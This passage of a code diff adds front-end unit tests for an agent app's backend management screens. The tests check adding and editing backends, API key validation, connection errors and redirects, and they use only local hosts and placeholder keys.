+    expect(screen.getByTestId("add-backend-submit")).toBeInTheDocument();
+  });
+
+  it("keeps the full setup guidance in a collapsible note", async () => {
+    renderWithProviders(<AddBackendModal onClose={vi.fn()} />);
+    const user = await selectAgentServer();
+
+    expect(
+      screen.getByTestId("add-backend-local-guidance-toggle"),
+    ).toHaveAttribute("aria-expanded", "false");
+    expect(
+      screen.getByTestId("add-backend-local-guidance-body"),
+    ).toHaveAttribute("aria-hidden", "true");
+
+    await user.click(screen.getByTestId("add-backend-local-guidance-toggle"));
+    expect(
+      screen.getByTestId("add-backend-local-guidance-toggle"),
+    ).toHaveAttribute("aria-expanded", "true");
+    const localGuidance = screen.getByTestId("add-backend-local-guidance");
+    expect(localGuidance).toHaveTextContent("BACKEND$LOCAL_SETUP_DESCRIPTION");
+    expect(localGuidance).toHaveTextContent(
+      "agent-canvas --backend-only --port 8001",
+    );
+
+    await user.click(screen.getByTestId("add-backend-location-option-remote"));
+    expect(
+      screen.getByTestId("add-backend-remote-guidance-toggle"),
+    ).toHaveAttribute("aria-expanded", "false");
+    expect(
+      screen.getByTestId("add-backend-remote-guidance-body"),
+    ).toHaveAttribute("aria-hidden", "true");
+
+    await user.click(screen.getByTestId("add-backend-remote-guidance-toggle"));
+    const remoteGuidance = screen.getByTestId("add-backend-remote-guidance");
+    expect(remoteGuidance).toHaveTextContent(
+      "BACKEND$REMOTE_SETUP_DESCRIPTION",
+    );
+    expect(remoteGuidance).toHaveTextContent(
+      "BACKEND$REMOTE_CONNECTION_DESCRIPTION",
+    );
+  });
+
+  it("starts the Agent-server form with an empty host field", async () => {
+    renderWithProviders(<AddBackendModal onClose={vi.fn()} />);
+
+    await selectAgentServer();
+
+    expect(screen.getByTestId("add-backend-host")).toHaveValue("");
+  });
+
+  it("disables Connect until name and host are filled (local backend)", async () => {
+    renderWithProviders(<AddBackendModal onClose={vi.fn()} />);
+    const user = await selectAgentServer();
+
+    const submit = screen.getByTestId(
+      "add-backend-submit",
+    ) as HTMLButtonElement;
+    expect(submit).toBeDisabled();
+
+    await user.type(screen.getByTestId("add-backend-name"), "My Server");
+    expect(submit).toBeDisabled();
+
+    // Local agent-server connections do not require an API key.
+    await user.type(
+      screen.getByTestId("add-backend-host"),
+      "http://localhost:8000",
+    );
+    expect(submit).not.toBeDisabled();
+  });
+
+  it("allows submitting a local backend with a blank API key", async () => {
+    const onClose = vi.fn();
+    renderWithProviders(<AddBackendModal onClose={onClose} />);
+
+    const user = await selectAgentServer();
+    await user.type(screen.getByTestId("add-backend-name"), "Local Extra");
+    await user.type(
+      screen.getByTestId("add-backend-host"),
+      "http://127.0.0.1:18002",
+    );
+
+    await user.click(screen.getByTestId("add-backend-submit"));
+
+    await waitFor(() => expect(onClose).toHaveBeenCalled());
+
+    const stored = JSON.parse(
+      window.localStorage.getItem("openhands-backends") ?? "[]",
+    );
+    const added = stored.find(
+      (b: { name: string }) => b.name === "Local Extra",
+    );
+    expect(added).toMatchObject({
+      name: "Local Extra",
+      host: "http://127.0.0.1:18002",
+      apiKey: "",
+      kind: "local",
+    });
+  });
+
+  it("requires an API key for a Remote agent-server", async () => {
+    const onClose = vi.fn();
+    renderWithProviders(<AddBackendModal onClose={onClose} />);
+    const user = await selectAgentServer();
+    await user.click(screen.getByTestId("add-backend-location-option-remote"));
+
+    const submit = screen.getByTestId(
+      "add-backend-submit",
+    ) as HTMLButtonElement;
+
+    expect(
+      screen.getByTestId("add-backend-remote-guidance"),
+    ).toBeInTheDocument();
+    expect(screen.getByTestId("add-backend-remote-docs-link")).toHaveAttribute(
+      "href",
+      expect.stringContaining("docs/SELF_HOSTING.md"),
+    );
+
+    await user.type(screen.getByTestId("add-backend-name"), "Remote GPU");
+    await user.type(
+      screen.getByTestId("add-backend-host"),
+      "https://agent.example.com",
+    );
+    expect(submit).toBeDisabled();
+
+    await user.type(screen.getByTestId("add-backend-api-key"), "token");
+    expect(submit).not.toBeDisabled();
+
+    await user.click(submit);
+    await waitFor(() => expect(onClose).toHaveBeenCalled());
+
+    const stored = JSON.parse(
+      window.localStorage.getItem("openhands-backends") ?? "[]",
+    );
+    expect(
+      stored.find((backend: { name: string }) => backend.name === "Remote GPU"),
+    ).toMatchObject({
+      host: "https://agent.example.com",
+      apiKey: "token",
+      kind: "local",
+    });
+  });
+
+  it("saves the backend, switches to it, and closes", async () => {
+    const onClose = vi.fn();
+    renderWithProviders(<AddBackendModal onClose={onClose} />);
+
+    const user = await selectAgentServer();
+    await user.type(screen.getByTestId("add-backend-name"), "Local 1");
+    await user.type(
+      screen.getByTestId("add-backend-host"),
+      "http://localhost:9000",
+    );
+    await user.type(screen.getByTestId("add-backend-api-key"), "k");
+
+    await user.click(screen.getByTestId("add-backend-submit"));
+
+    await waitFor(() => expect(onClose).toHaveBeenCalled());
+
+    const stored = JSON.parse(
+      window.localStorage.getItem("openhands-backends") ?? "[]",
+    );
+    expect(stored).toHaveLength(2);
+    const added = stored.find((b: { name: string }) => b.name === "Local 1");
+    expect(added).toMatchObject({
+      name: "Local 1",
+      host: "http://localhost:9000",
+      apiKey: "k",
+      kind: "local",
+    });
+
+    // Active selection must point at the newly added backend.
+    const active = JSON.parse(
+      window.localStorage.getItem("openhands-active-backend") ?? "null",
+    );
+    expect(active).toEqual({ backendId: added.id, orgId: null });
+  });
+
+  it("keeps the modal open and shows a connection error when the local backend probe fails", async () => {
+    getServerInfoMock.mockRejectedValueOnce(new Error("Failed to fetch"));
+    const onClose = vi.fn();
+    renderWithProviders(<AddBackendModal onClose={onClose} />);
+
+    const user = await selectAgentServer();
+    await user.type(screen.getByTestId("add-backend-name"), "GPU Tunnel");
+    await user.type(
+      screen.getByTestId("add-backend-host"),
+      "https://127.0.0.1:8000",
+    );
+    await user.type(screen.getByTestId("add-backend-api-key"), "session-key");
+    await user.click(screen.getByTestId("add-backend-submit"));
+
+    expect(await screen.findByTestId("add-backend-error")).toHaveTextContent(
+      "BACKEND$CONNECTION_TEST_FAILED",
+    );
+    expect(screen.getByTestId("add-backend-error")).toHaveTextContent(
+      "Disconnected",
+    );
+    expect(onClose).not.toHaveBeenCalled();
+  });
+
+  it("keeps the modal open when the local backend is below the compatible version floor", async () => {
+    getServerInfoMock.mockResolvedValueOnce({ version: "1.27.1" });
+    const onClose = vi.fn();
+    renderWithProviders(<AddBackendModal onClose={onClose} />);
+
+    const user = await selectAgentServer();
+    await user.type(screen.getByTestId("add-backend-name"), "Old Tunnel");
+    await user.type(
+      screen.getByTestId("add-backend-host"),
+      "https://127.0.0.1:8000",
+    );
+    await user.type(screen.getByTestId("add-backend-api-key"), "session-key");
+    await user.click(screen.getByTestId("add-backend-submit"));
+
+    expect(await screen.findByTestId("add-backend-error")).toHaveTextContent(
+      "Agent Canvas requires agent-server 1.28.0 or newer",
+    );
+    expect(onClose).not.toHaveBeenCalled();
+  });
+
+  it("closes when the header close button is clicked", async () => {
+    const user = userEvent.setup();
+    const onClose = vi.fn();
+    renderWithProviders(<AddBackendModal onClose={onClose} />);
+
+    await user.click(screen.getByTestId("add-backend-close"));
+
+    expect(onClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("hides advanced host settings until expanded while preserving what was typed", async () => {
+    const user = userEvent.setup();
+    renderWithProviders(<AddBackendModal onClose={vi.fn()} />);
+
+    // Collapsed: mounted so state survives, but collapsed to zero height and
+    // kept out of the tab order.
+    expect(screen.getByTestId("add-backend-advanced-panel")).toHaveAttribute(
+      "aria-hidden",
+      "true",
+    );
+
+    await user.click(screen.getByTestId("add-backend-advanced-toggle"));
+    expect(screen.getByTestId("add-backend-advanced-toggle")).toHaveAttribute(
+      "aria-expanded",
+      "true",
+    );
+    expect(
+      screen.getByTestId("add-backend-advanced-panel"),
+    ).not.toHaveAttribute("aria-hidden", "true");
+
+    await user.type(
+      screen.getByTestId("add-backend-cloud-host"),
+      "https://cloud.example.com",
+    );
+    await user.click(screen.getByTestId("add-backend-advanced-toggle"));
+    await user.click(screen.getByTestId("add-backend-advanced-toggle"));
+
+    expect(screen.getByTestId("add-backend-cloud-host")).toHaveValue(
+      "https://cloud.example.com",
+    );
+  });
+
+  it("renders the cloud login button without a key icon prefix", () => {
+    renderWithProviders(<AddBackendModal onClose={vi.fn()} />);
+
+    const loginButton = screen.getByTestId("add-backend-login-button");
+    expect(loginButton).not.toHaveClass("w-full");
+    expect(loginButton.textContent?.trim()).not.toMatch(/^🔑/);
+    expect(loginButton.textContent).not.toContain("🔑");
+  });
+});
+
+// @spec BM-002 — adding a backend auto-switches the active selection, so a
+// backend-scoped detail page is now stale; the user must land on the section
+// list rather than the previous backend's detail page.
+describe("AddBackendModal – redirect after adding a backend", () => {
+  function renderOnPath(currentPath: string) {
+    const navigate = vi.fn();
+    const navigation: NavigationContextValue = {
+      currentPath,
+      conversationId: null,
+      isNavigating: false,
+      navigate,
+    };
+    renderWithProviders(<AddBackendModal onClose={vi.fn()} />, navigation);
+    return { navigate };
+  }
+
+  async function addLocalBackend() {
+    const user = await selectAgentServer();
+    await user.type(screen.getByTestId("add-backend-name"), "Local Extra");
+    await user.type(
+      screen.getByTestId("add-backend-host"),
+      "http://127.0.0.1:18002",
+    );
+    await user.click(screen.getByTestId("add-backend-submit"));
+    await waitFor(() => {
+      const stored = JSON.parse(
+        window.localStorage.getItem("openhands-backends") ?? "[]",
+      );
+      expect(
+        stored.some((b: { name: string }) => b.name === "Local Extra"),
+      ).toBe(true);
+    });
+  }
+
+  it.each([
+    { path: "/automations/auto-1", expected: "/automations" },
+    { path: "/conversations/abc", expected: "/conversations" },
+  ])(
+    "redirects to the section list when adding from $path",
+    async ({ path, expected }) => {
+      // Arrange
+      const { navigate } = renderOnPath(path);
+
+      // Act
+      await addLocalBackend();
+
+      // Assert
+      expect(navigate).toHaveBeenCalledWith(expected);
+    },
+  );
+
+  it("does not redirect when adding from a section list page", async () => {
+    // Arrange
+    const { navigate } = renderOnPath("/automations");
+
+    // Act
+    await addLocalBackend();
+
+    // Assert
+    expect(navigate).not.toHaveBeenCalled();
+  });
+});
+
+describe("AddBackendModal – analytics", () => {
+  it("captures backend_added once with manual connection metadata", async () => {
+    // Arrange
+    renderWithProviders(<AddBackendModal onClose={vi.fn()} />);
+    const user = await selectAgentServer();
+
+    // Act — connect a local backend through the manual form
+    await user.type(screen.getByTestId("add-backend-name"), "Local Extra");
+    await user.type(
+      screen.getByTestId("add-backend-host"),
+      "http://localhost:8000",
+    );
+    await user.type(screen.getByTestId("add-backend-api-key"), "sk-local");
+    await user.click(screen.getByTestId("add-backend-submit"));
+
+    // Assert — emitted exactly once with coarse, non-sensitive properties
+    await waitFor(() =>
+      expect(captureMock).toHaveBeenCalledWith(
+        "backend_added",
+        expect.objectContaining({
+          backend_kind: "local",
+          connection_method: "manual",
+          has_api_key: true,
+          source: "add_backend_modal",
+        }),
+      ),
+    );
+    const backendAddedCalls = captureMock.mock.calls.filter(
+      ([event]) => event === "backend_added",
+    );
+    expect(backendAddedCalls).toHaveLength(1);
+  });
+});
diff --git a/__tests__/components/backends/api-key-entry-screen.test.tsx b/__tests__/components/backends/api-key-entry-screen.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..110a930bbd1d93966816abd654e0e95b76ff90c3
--- /dev/null
+++ b/__tests__/components/backends/api-key-entry-screen.test.tsx
@@ -0,0 +1,313 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { BACKENDS_STORAGE_KEY } from "#/api/backend-registry/storage";
+import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import ApiKeyEntryScreen from "#/components/features/backends/api-key-entry-screen";
+
+// ── Mocks ────────────────────────────────────────────────────────────
+
+const getSettingsMock = vi.fn();
+
+vi.mock("@openhands/typescript-client/clients", () => ({
+  SettingsClient: vi.fn(function SettingsClientMock() {
+    return { getSettings: getSettingsMock };
+  }),
+  // ServerClient needed by useBackendsHealth (imported transitively)
+  ServerClient: vi.fn(function ServerClientMock() {
+    return { getServerInfo: vi.fn().mockResolvedValue({ version: "1.28.0" }) };
+  }),
+}));
+
+// Stub cloud org service used by ActiveBackendProvider
+vi.mock("#/api/cloud/organization-service.api", () => ({
+  getCurrentCloudApiKey: vi.fn().mockResolvedValue({
+    orgId: null,
+    isLegacyKey: true,
+  }),
+}));
+
+// Capture reload calls without crashing jsdom
+const reloadMock = vi.fn();
+
+// ── Helpers ──────────────────────────────────────────────────────────
+
+function renderScreen() {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <ActiveBackendProvider>
+        <ApiKeyEntryScreen />
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+}
+
+/** Fill the required fields: name and api key. */
+async function fillRequiredFields(
+  user: ReturnType<typeof userEvent.setup>,
+  { name = "My Server", apiKey = "some-key" } = {},
+) {
+  await user.type(screen.getByTestId("api-key-entry-name"), name);
+  await user.type(screen.getByTestId("api-key-entry-api-key"), apiKey);
+}
+
+// ── Setup / teardown ─────────────────────────────────────────────────
+
+const ORIGINAL_LOCATION = window.location;
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  getSettingsMock.mockReset();
+
+  // Replace window.location with a spy-able version
+  Object.defineProperty(window, "location", {
+    configurable: true,
+    value: {
+      ...ORIGINAL_LOCATION,
+      origin: "http://localhost:8000",
+      hostname: "localhost",
+      reload: reloadMock,
+    },
+  });
+  reloadMock.mockReset();
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  vi.unstubAllEnvs();
+  Object.defineProperty(window, "location", {
+    configurable: true,
+    value: ORIGINAL_LOCATION,
+  });
+});
+
+// ── Tests ────────────────────────────────────────────────────────────
+
+describe("ApiKeyEntryScreen", () => {
+  // @spec — UI: name + host (disabled) + api key + connect
+  it("renders name, host (disabled), api key, and connect button", () => {
+    renderScreen();
+
+    // Name field
+    const nameInput = screen.getByTestId("api-key-entry-name");
+    expect(nameInput).toBeInTheDocument();
+    expect(nameInput).toHaveValue("");
+
+    // Host field — pre-filled from window.location.origin, disabled
+    const hostInput = screen.getByTestId("api-key-entry-host");
+    expect(hostInput).toBeInTheDocument();
+    expect(hostInput).toBeDisabled();
+    expect(hostInput).toHaveValue("http://localhost:8000");
+
+    // API key field
+    expect(screen.getByTestId("api-key-entry-api-key")).toBeInTheDocument();
+
+    // Connect button
+    expect(screen.getByTestId("api-key-entry-submit")).toBeInTheDocument();
+  });
+
+  // @spec — API key field always starts empty (stale key wipe)
+  it("starts with an empty api key even when localStorage has a stale key", () => {
+    // Seed the backend registry with the stale key
+    window.localStorage.setItem(
+      BACKENDS_STORAGE_KEY,
+      JSON.stringify([
+        {
+          id: "default-local",
+          name: "Local",
+          host: "http://localhost:8000",
+          apiKey: "old-stale-key-from-previous-session",
+          kind: "local",
+        },
+      ]),
+    );
+
+    renderScreen();
+
+    expect(screen.getByTestId("api-key-entry-api-key")).toHaveValue("");
+  });
+
+  // @spec — Connect button requires both name and api key
+  it("disables Connect when name or api key is empty", async () => {
+    renderScreen();
+    const user = userEvent.setup();
+    const submit = screen.getByTestId("api-key-entry-submit");
+
+    // Both empty
+    expect(submit).toBeDisabled();
+
+    // Only api key filled → still disabled
+    await user.type(screen.getByTestId("api-key-entry-api-key"), "key");
+    expect(submit).toBeDisabled();
+
+    // Name also filled → enabled
+    await user.type(screen.getByTestId("api-key-entry-name"), "Server");
+    expect(submit).not.toBeDisabled();
+  });
+
+  // @spec — Valid key: validates against GET /api/settings, persists, reloads
+  it("validates the key before persisting and reloading", async () => {
+    getSettingsMock.mockResolvedValueOnce({ llm_model: "test" });
+
+    renderScreen();
+    const user = userEvent.setup();
+
+    await fillRequiredFields(user, { apiKey: "correct-key" });
+    await user.click(screen.getByTestId("api-key-entry-submit"));
+
+    await waitFor(() => {
+      expect(getSettingsMock).toHaveBeenCalledTimes(1);
+    });
+
+    // Key persisted to backend registry storage
+    const stored = JSON.parse(
+      window.localStorage.getItem(BACKENDS_STORAGE_KEY) ?? "[]",
+    );
+    expect(stored[0].apiKey).toBe("correct-key");
+
+    // Page reloaded
+    expect(reloadMock).toHaveBeenCalled();
+  });
+
+  // @spec — 401 shows "Invalid API key", does NOT persist or reload
+  it("shows 'Invalid API key' when the key is rejected with 401", async () => {
+    getSettingsMock.mockRejectedValueOnce(
+      Object.assign(new Error("Unauthorized"), {
+        name: "HttpError",
+        status: 401,
+      }),
+    );
+
+    renderScreen();
+    const user = userEvent.setup();
+
+    await fillRequiredFields(user, { apiKey: "wrong-key" });
+    await user.click(screen.getByTestId("api-key-entry-submit"));
+
+    // Error status appears with "Invalid" text
+    await waitFor(() => {
+      expect(screen.getByTestId("api-key-entry-status")).toBeInTheDocument();
+    });
+    expect(screen.getByTestId("api-key-entry-status")).toHaveClass(
+      "text-red-400",
+    );
+    expect(screen.getByTestId("api-key-entry-status").textContent).toContain(
+      "AUTH$INVALID_KEY",
+    );
+
+    // Rejected key NOT persisted.
+    expect(window.localStorage.getItem(BACKENDS_STORAGE_KEY)).not.toContain(
+      "wrong-key",
+    );
+
+    // Page NOT reloaded
+    expect(reloadMock).not.toHaveBeenCalled();
+  });
+
+  // @spec — Non-401 errors show the actual error message, not "Invalid key"
+  it("shows 'Connection failed' with detail for non-auth errors (e.g. 500)", async () => {
+    getSettingsMock.mockRejectedValueOnce(
+      Object.assign(new Error("HTTP 500: Internal Server Error"), {
+        name: "HttpError",
+        status: 500,
+      }),
+    );
+
+    renderScreen();
+    const user = userEvent.setup();
+
+    await fillRequiredFields(user, { apiKey: "correct-key" });
+    await user.click(screen.getByTestId("api-key-entry-submit"));
+
+    await waitFor(() => {
+      expect(screen.getByTestId("api-key-entry-status")).toBeInTheDocument();
+    });
+
+    const statusText =
+      screen.getByTestId("api-key-entry-status").textContent ?? "";
+    // Shows "Connection failed" prefix, NOT "Invalid API key"
+    expect(statusText).toContain("AUTH$CONNECTION_FAILED");
+    expect(statusText).toContain("500");
+    expect(statusText).not.toContain("AUTH$INVALID_KEY");
+
+    // Rejected key NOT persisted.
+    expect(window.localStorage.getItem(BACKENDS_STORAGE_KEY)).not.toContain(
+      "correct-key",
+    );
+
+    expect(reloadMock).not.toHaveBeenCalled();
+  });
+
+  // @spec — Retry flow: wrong key → error → correct key → success
+  it("allows retry after a failed attempt", async () => {
+    getSettingsMock
+      .mockRejectedValueOnce(
+        Object.assign(new Error("Unauthorized"), {
+          name: "HttpError",
+          status: 401,
+        }),
+      )
+      .mockResolvedValueOnce({ llm_model: "test" });
+
+    renderScreen();
+    const user = userEvent.setup();
+    const apiKeyInput = screen.getByTestId("api-key-entry-api-key");
+
+    // First attempt — wrong key
+    await fillRequiredFields(user, { apiKey: "wrong-key" });
+    await user.click(screen.getByTestId("api-key-entry-submit"));
+    await waitFor(() => {
+      expect(screen.getByTestId("api-key-entry-status")).toHaveClass(
+        "text-red-400",
+      );
+    });
+
+    // Retry — correct key
+    await user.clear(apiKeyInput);
+    await user.type(apiKeyInput, "correct-key");
+    await user.click(screen.getByTestId("api-key-entry-submit"));
+
+    await waitFor(() => {
+      expect(reloadMock).toHaveBeenCalled();
+    });
+
+    const stored = JSON.parse(
+      window.localStorage.getItem(BACKENDS_STORAGE_KEY) ?? "[]",
+    );
+    expect(stored[0].apiKey).toBe("correct-key");
+  });
+
+  // @spec — Stale key in localStorage does not contaminate the new key
+  it("persists only the freshly-entered key, not the stale one", async () => {
+    getSettingsMock.mockResolvedValueOnce({ llm_model: "test" });
+
+    renderScreen();
+    const user = userEvent.setup();
+
+    // API key field is empty — stale key not visible
+    const apiKeyInput = screen.getByTestId("api-key-entry-api-key");
+    expect(apiKeyInput).toHaveValue("");
+
+    // Enter fresh key
+    await fillRequiredFields(user, { apiKey: "fresh-key-BBBB" });
+    await user.click(screen.getByTestId("api-key-entry-submit"));
+
+    await waitFor(() => {
+      expect(reloadMock).toHaveBeenCalled();
+    });
+
+    // Stored key is the NEW one, not old + new concatenated
+    const stored = JSON.parse(
+      window.localStorage.getItem(BACKENDS_STORAGE_KEY) ?? "[]",
+    );
+    expect(stored[0].apiKey).toBe("fresh-key-BBBB");
+  });
+});
diff --git a/__tests__/components/backends/backend-form-modal.test.tsx b/__tests__/components/backends/backend-form-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..04c7cd0a392fc5a6db8c8021549964a0e5eca5a3
--- /dev/null
+++ b/__tests__/components/backends/backend-form-modal.test.tsx
@@ -0,0 +1,311 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store";
+import {
+  ActiveBackendProvider,
+  useActiveBackendContext,
+} from "#/contexts/active-backend-context";
+import {
+  NavigationProvider,
+  type NavigationContextValue,
+} from "#/context/navigation-context";
+import { BackendFormModal } from "#/components/features/backends/backend-form-modal";
+
+const getServerInfoMock = vi.hoisted(() => vi.fn());
+const getSettingsMock = vi.hoisted(() => vi.fn().mockResolvedValue({}));
+
+vi.mock("@openhands/typescript-client/clients", () => ({
+  ServerClient: vi.fn(function ServerClientMock() {
+    return {
+      getServerInfo: getServerInfoMock,
+    };
+  }),
+  SettingsClient: vi.fn(function SettingsClientMock() {
+    return {
+      getSettings: getSettingsMock,
+    };
+  }),
+}));
+
+function renderWithProviders(
+  ui: React.ReactElement,
+  navigation?: NavigationContextValue,
+) {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <ActiveBackendProvider>
+        {navigation ? (
+          <NavigationProvider value={navigation}>{ui}</NavigationProvider>
+        ) : (
+          ui
+        )}
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+}
+
+function TestSeed({
+  onMount,
+  children,
+}: {
+  onMount: (ctx: ReturnType<typeof useActiveBackendContext>) => void;
+  children: React.ReactNode;
+}) {
+  const ctx = useActiveBackendContext();
+  React.useEffect(() => {
+    onMount(ctx);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  return children as React.ReactElement;
+}
+
+beforeEach(() => {
+  window.localStorage.clear();
+  getServerInfoMock.mockReset();
+  getServerInfoMock.mockResolvedValue({ version: "1.28.0" });
+  __resetActiveStoreForTests();
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  vi.unstubAllEnvs();
+  delete (window as unknown as Record<string, unknown>)
+    .__AGENT_CANVAS_LOCK_TO_CLOUD__;
+  __resetActiveStoreForTests();
+});
+
+describe("BackendFormModal – edit mode (BackendForm entry point)", () => {
+  it("pre-fills fields with the backend data passed as prop", () => {
+    renderWithProviders(
+      <BackendFormModal
+        mode="edit"
+        backend={{
+          id: "seeded-id",
+          name: "My Server",
+          host: "http://localhost:9000",
+          apiKey: "sk-old",
+          kind: "local",
+        }}
+        onClose={vi.fn()}
+      />,
+    );
+
+    expect(screen.getByTestId("edit-backend-name")).toHaveValue("My Server");
+    expect(screen.getByTestId("edit-backend-host")).toHaveValue(
+      "http://localhost:9000",
+    );
+    expect(screen.getByTestId("edit-backend-api-key")).toHaveValue("sk-old");
+  });
+
+  it("disables Save when name is cleared", async () => {
+    renderWithProviders(
+      <BackendFormModal
+        mode="edit"
+        backend={{
+          id: "seeded-id",
+          name: "My Server",
+          host: "http://localhost:9000",
+          apiKey: "",
+          kind: "local",
+        }}
+        onClose={vi.fn()}
+      />,
+    );
+
+    const submit = screen.getByTestId(
+      "edit-backend-submit",
+    ) as HTMLButtonElement;
+    expect(submit).not.toBeDisabled();
+
+    const user = userEvent.setup();
+    const nameInput = screen.getByTestId("edit-backend-name");
+    await user.clear(nameInput);
+
+    expect(submit).toBeDisabled();
+  });
+
+  it("calls updateBackend and onClose on successful submit", async () => {
+    let backendId = "";
+    const onClose = vi.fn();
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          backendId = ctx.addBackend({
+            name: "Local Seed",
+            host: "http://localhost:9000",
+            apiKey: "sk-old",
+            kind: "local",
+          }).id;
+        }}
+      >
+        <BackendFormModal
+          mode="edit"
+          backend={{
+            id: backendId,
+            name: "Local Seed",
+            host: "http://localhost:9000",
+            apiKey: "sk-old",
+            kind: "local",
+          }}
+          onClose={onClose}
+        />
+      </TestSeed>,
+    );
+
+    await waitFor(() => {
+      expect(screen.getByTestId("edit-backend-name")).toHaveValue("Local Seed");
+    });
+
+    const user = userEvent.setup();
+
+    // Verify the submit button is enabled with pre-filled values
+    const submitBtn = screen.getByTestId("edit-backend-submit");
+    expect(submitBtn).not.toBeDisabled();
+
+    await user.click(submitBtn);
+
+    await waitFor(() => expect(onClose).toHaveBeenCalled());
+
+    const stored = JSON.parse(
+      window.localStorage.getItem("openhands-backends") ?? "[]",
+    );
+    const updated = stored.find((b: { id: string }) => b.id === backendId);
+    expect(updated).toMatchObject({
+      id: backendId,
+      name: "Local Seed",
+      host: "http://localhost:9000",
+      kind: "local",
+    });
+  });
+
+  it("shows connection error and keeps modal open when probe fails", async () => {
+    // Default: health check succeeds (otherwise the modal won't render cleanly).
+    // Override just before the submit action so the submit-time probe fails.
+    let backendId = "";
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          backendId = ctx.addBackend({
+            name: "Offline Server",
+            host: "http://localhost:9999",
+            apiKey: "sk-key",
+            kind: "local",
+          }).id;
+        }}
+      >
+        <BackendFormModal
+          mode="edit"
+          backend={{
+            id: backendId,
+            name: "Offline Server",
+            host: "http://localhost:9999",
+            apiKey: "sk-key",
+            kind: "local",
+          }}
+          onClose={vi.fn()}
+        />
+      </TestSeed>,
+    );
+
+    await waitFor(() => {
+      expect(screen.getByTestId("edit-backend-name")).toHaveValue(
+        "Offline Server",
+      );
+    });
+
+    const user = userEvent.setup();
+    const nameInput = screen.getByTestId("edit-backend-name");
+    await user.clear(nameInput);
+    await user.type(nameInput, "Retry Server");
+
+    // Now make the submit-time probe fail (health check already consumed the default mock).
+    getServerInfoMock.mockRejectedValueOnce(new Error("Connection refused"));
+
+    await user.click(screen.getByTestId("edit-backend-submit"));
+
+    expect(await screen.findByTestId("edit-backend-error")).toHaveTextContent(
+      "Connection refused",
+    );
+  });
+
+  it("preserves cloud kind when editing a cloud backend", async () => {
+    let backendId = "";
+    const onClose = vi.fn();
+    renderWithProviders(
+      <TestSeed
+        onMount={(ctx) => {
+          backendId = ctx.addBackend({
+            name: "OpenHands Cloud",
+            host: "https://app.all-hands.dev",
+            apiKey: "sk-cloud",
+            kind: "cloud",
+          }).id;
+        }}
+      >
+        <BackendFormModal
+          mode="edit"
+          backend={{
+            id: backendId,
+            name: "OpenHands Cloud",
+            host: "https://app.all-hands.dev",
+            apiKey: "sk-cloud",
+            kind: "cloud",
+          }}
+          onClose={onClose}
+        />
+      </TestSeed>,
+    );
+
+    await waitFor(() => {
+      expect(screen.getByTestId("edit-backend-name")).toHaveValue(
+        "OpenHands Cloud",
+      );
+    });
+
+    const user = userEvent.setup();
+    const nameInput = screen.getByTestId("edit-backend-name");
+    await user.clear(nameInput);
+    await user.type(nameInput, "Renamed Cloud");
+
+    const apiKeyInput = screen.getByTestId("edit-backend-api-key");
+    await user.clear(apiKeyInput);
+    await user.type(apiKeyInput, "new-token");
+
+    await user.click(screen.getByTestId("edit-backend-submit"));
+
+    await waitFor(() => expect(onClose).toHaveBeenCalled());
+
+    const stored = JSON.parse(
+      window.localStorage.getItem("openhands-backends") ?? "[]",
+    );
+    const updated = stored.find((b: { id: string }) => b.id === backendId);
+    expect(updated).toMatchObject({
+      id: backendId,
+      kind: "cloud",
+    });
+  });
+
+  it("locks add mode to Cloud login when VITE_LOCK_TO_CLOUD is set", () => {
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://cloud.example.com");
+
+    renderWithProviders(<BackendFormModal mode="add" onClose={vi.fn()} />);
+
+    expect(screen.getByTestId("add-backend-cloud-title")).toBeVisible();
+    expect(screen.getByTestId("add-backend-login-button")).toBeVisible();
+    expect(screen.queryByTestId("add-backend-host")).not.toBeInTheDocument();
+    expect(screen.queryByTestId("add-backend-api-key")).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("add-backend-advanced-toggle"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("add-backend-cloud-host"),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/backends/backend-selector.test.tsx b/__tests__/components/backends/backend-selector.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b09794b794638220a385af2fa88c7003a2d2bdc6
--- /dev/null
+++ b/__tests__/components/backends/backend-selector.test.tsx
@@ -0,0 +1,935 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import {
+  fireEvent,
+  render,
+  screen,
+  waitFor,
+  within,
+} from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { createRoutesStub, MemoryRouter } from "react-router";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store";
+import {
+  ActiveBackendProvider,
+  useActiveBackendContext,
+} from "#/contexts/active-backend-context";
+import { BackendSelector } from "#/components/features/backends/backend-selector";
+import {
+  __resetEnvironmentSwitchOverlayForTests,
+  EnvironmentSwitchOverlay,
+} from "#/components/features/backends/environment-switch-overlay";
